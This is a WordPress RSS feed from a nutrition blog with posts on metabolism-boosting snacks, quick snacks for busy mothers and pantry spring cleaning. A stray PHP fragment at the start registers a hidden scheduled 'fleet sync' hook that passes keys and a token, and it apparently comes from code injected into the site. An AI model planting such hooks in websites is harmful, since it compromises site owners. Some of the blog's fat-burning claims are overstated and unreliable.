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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); healthy snacks – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Thu, 18 Sep 2014 17:50:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp healthy snacks – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Art of Snacking https://skinnygeneprojectnew.dreamsites.io/art-snacking/ https://skinnygeneprojectnew.dreamsites.io/art-snacking/#respond Thu, 18 Sep 2014 17:50:17 +0000 http://skinnygeneproject.dreamhosters.com/?p=2240 Art of snackingArt has no boundaries and exists in many forms.  Art can be three dimensional objects, a song or a doodle on a meeting agenda.  Actions can be art forms as well.  I have many friends who would consider themselves masters at the art of bargain shopping.  But there is one action they have not mastered, and that is the “art of snacking.”  The art of snacking can be a benefit to your health, if snack foods are healthy choices.  You can actually snack in a way that boosts your metabolism, and not the pounds.

Snacking Leads to Boosting Your Metabolism

Metabolism is the process in which your body turns the food and beverages you consume into energy.  There are different factors, such as age and gender that affect metabolism, another is food.  Certain foods can facilitate an increase in metabolism and burn some of that unwanted calories and body fat.  Preparing your snacks should include some of these metabolism boosting foods and beverages, which include: egg whites, lean meats, water, grapefruit, chili peppers, green tea, milk (low- or non-fat), whole grains, and lentils.

  • Egg whites contain branched-chain amino acids that will speed up your metabolism and burn fat.
  • Lean meats and lentils are both rich in iron.  A diet low in iron can actually slow metabolism down by not efficiently burning calories.
  • Chili peppers and green tea contain chemical compounds, capsaicin in chilies and EGCG in green tea that also gives your metabolism a boost.
  • Consuming milk and other dairy products have been shown to metabolize fat more efficiently.
  • Whole grains are an excellent source of fiber.  It not only aids with keeping cholesterol and blood sugars low, it helps metabolism by taking longer for whole grains to break down during digestion.
  • Grapefruit has been shown to help with weight loss due to its effects on insulin, a fat-storage hormone, making it a great weight loss snack.
  • Lastly, I cannot stress enough the importance of water.  Living in Southern California, we are just starting to feel the heat, compared to Mt. Rushmore in South Dakota, where it is actually snowing.  But keeping hydrated is very important, even mild dehydration can slow down metabolism.

When you are feeling hungry and in need of a snack, take a few of these ingredients and think of them as beautiful colors of paint.  Your pot, pan or mixing bowl is your blank canvas, and what ends up on your plate is your very own masterpiece of art.  But if you are like me and have a hard time coloring inside the lines, click on the links below for recipes to boost your metabolism.

Spiced Green Tea Smoothie

Honey Grapefruit with Banana

Banana & Almond Butter Toast

Curried Egg Salad Sandwich

Ham, Sliced Pear & Swiss Sandwich

Sunflower Lentil Spread

]]> https://skinnygeneprojectnew.dreamsites.io/art-snacking/feed/ 0 10 Healthy Snacks for Super Busy Moms https://skinnygeneprojectnew.dreamsites.io/10-healthy-snacks-super-busy-moms/ https://skinnygeneprojectnew.dreamsites.io/10-healthy-snacks-super-busy-moms/#respond Thu, 15 May 2014 23:03:18 +0000 http://skinnygeneproject.dreamhosters.com/?p=2137 By Eileen Ferrer, Skinny Gene Nutritionist

We all have those days when we feel like there is not enough time in the day to fit in everything.  For all the very active supermoms out there, busy seems like an understatement.  The days can be filled with taking the kids to school, going to work and/or school, picking the kids up from school, making sure they get to their after school activity on time, helping with homework, preparing a meal, and the list goes on and on.  So when in the day can a break be penciled in?  Another important question to ask is where do moms find the energy?

Though you don’t need to stop everything to fit in a break, you do need to refuel with something to eat to sustain energy throughout the day.  Eating snacks are the perfect way to provide energy in between meals. There are some quick, handy snacks that are not time-consuming in preparation and can be eaten on-the-go.

 

Healthy snacks

 

Here are 10 super simple healthy snacks for busy moms:

 

1)      Fruits and veggies.  Apples, bananas, baby carrots, celery sticks, cherry tomatoes, or any of your favorites that are in season.  You can slice and dice different fruits and vegetables, and store them in individual sandwich bags the evening before or on a weekend.  Another option is to get pre-packaged fruits and veggies. They can be eaten fresh, frozen, dried or from a can or cup (just beware of added sugar!).

2)      Consider some dairy.  Take along with you non- or low-fat yogurt, cottage or individually wrapped string cheese for your protein fix.

3)      Be nutty.  Nuts are another protein source that can be kept in your car or purse.  Take a handful of your favorite nut choice, such as unsalted almonds, pistachios, walnuts, peanuts, or a mixed variety.

4)      Get some whole grains.  Try 100% whole grain granola bars that are low in added sugars or low sodium, trans-fat free whole grain crackers.  Lastly, my personal favorite, avocado spread on top of whole grain toast.

5)      Trail mix.  A mixture of nuts, seeds, and naturally dried fruit like raisins or dried berries.

6)      Edamame.  These are pods of deliciousness.  Add a dash of sea salt for an alternative protein snack.

7)      Blend it up.  It’s the perfect time for a smoothie.  It’s refreshing, especially with the days heating up.  Blueberries, spinach, chia seeds, low-fat plain yogurt, fresh squeezed orange juice is one of my favorite mixes.

8)      Deli meats.  Choose low-sodium deli meats, such as turkey or ham and wrap it around apple slices for a sweet and savory snack.

9)      Rice cakes.  Way better than a cake, in my opinion of course.  Eat them by themselves or top them with peanut butter and honey or hummus and fresh veggies.

10)   Hard boiled eggs.  A complete protein.  Save some time by popping them into boiling water as you prep your fruits and veggies.

These 10 quick, easy snacks are great for moms with a busy schedule.  These are just helpful ideas for quick snacks, but it also allows room for creativity to help maximize the ingredients you already have. Just remember, not only are these snacks healthy and easy to prepare, they provide energy throughout the day.

Happy snacking!

]]> https://skinnygeneprojectnew.dreamsites.io/10-healthy-snacks-super-busy-moms/feed/ 0 Spring Cleaning for a Healthy Home https://skinnygeneprojectnew.dreamsites.io/spring-cleaning-healthy-home/ https://skinnygeneprojectnew.dreamsites.io/spring-cleaning-healthy-home/#respond Tue, 23 Apr 2013 20:37:57 +0000 http://skinnygeneproject.dreamhosters.com/?p=1929
Time for a little spring cleaning!!

 

By Erica Gray- Skinny Gene Healthy Momma

 

Spring

With spring, I’m always brought to a sense of renewal.

I think it’s important to not only clean out my closets, but my pantry and refrigerator too!! I also, like to do some re-evaluating. Am I eating the way I should be consistently? Am I as active as I should be? Well, no one is perfect and although I’m a mile from where I used to be in the health department, there is always work to be done.

I’m not going to lie, in the winter I tend to get a little lazier. I mean who wants to  bundle up to go for a walk or let alone get out from underneath those warm covers and face the cold. Not me!!!

I do but not as much as I probably should. Plus with all the holidays, birthdays, school parties you just get so busy. Why does it feel like the busier I get the harder it is to eat right? Why does “junk” food have to be so convenient!

Well… its time stop with the excuses and get it together! Time to make commitments and taking steps toward change. They say it takes 28 times of doing something to make it a habit. So, I will try to make good habits by choosing things I feel confident I can change for 1 month.

 

Step One: Clean out my pantry and fridge

Goodbye clutter, hello organized!! (I like to put the snacks and foods I
want to be eating front and center in easy to get to and labeled
containers!) Treats and such I put out of eye level and usually on the
highest shelf. If I am super hungry and I have to dig behind some potato
chips (my weakness) and cookies to get to the dried fruits and nuts, you
know what I’ll eat.

Same goes for the fridge. I put what I should be eating front and center.
Plus, keeping it organized and clean make it easier and more enjoyable to cook.

 

Step Two: Take steps now to make it more convenient to eat in later

– Prepare and freeze a couple of slow-cooker meals for those days that I
don’t have the time to cook.

-Precut, wash, and store fruits and veggies. I put my celery in a plastic jar
with a little water at the bottom to keep it fresh. I will put grapes, baby
carrots, etc in individual bags for a quick grab and go snack.

-I prep and bag and freeze ingredients for my green smoothies.

-Plan out meals for the next two weeks before going to the store so I only
have to make one big trip.

-If I make and easily freezable meal (soups, chili, etc) I will make a lot
more and freeze the extra in individual servings. They make great
lunches or dinner if I don’t feel like cooking.

I know this seems like a lot of prep, but sometimes if I don’t have one big
chunk of time to do this I will do it as I go. For instance, while I’m
already making a smoothie I will clean and chop ingredients for 2 more
and put them in freezer bags. If I am making dinner, while its cooking I
will prep a slow-cooker meal or chop some celery. When I clean
grapes for my daughters lunch I clean and pick all of them and store them
for later. It’s all about making new habits.

 

Step Three: Time to make some commitments and set some goals for at
least the next month (because that’s totally doable)

– I commit to always have at least one pre-made meal in my freezer.

– I commit to keep my fridge and pantry organized (always have at least
two “healthy” options in each that are easy to get to)

-I commit to plan out meals 2 weeks at a time and stick to the program!-I won’t beat myself up if I slip! Just start over and try again.

-I have also made some big goals on the activity front (you’ll hear about those soon!)

This is how I’m spring cleaning. How are you? What commitments are you making?

 

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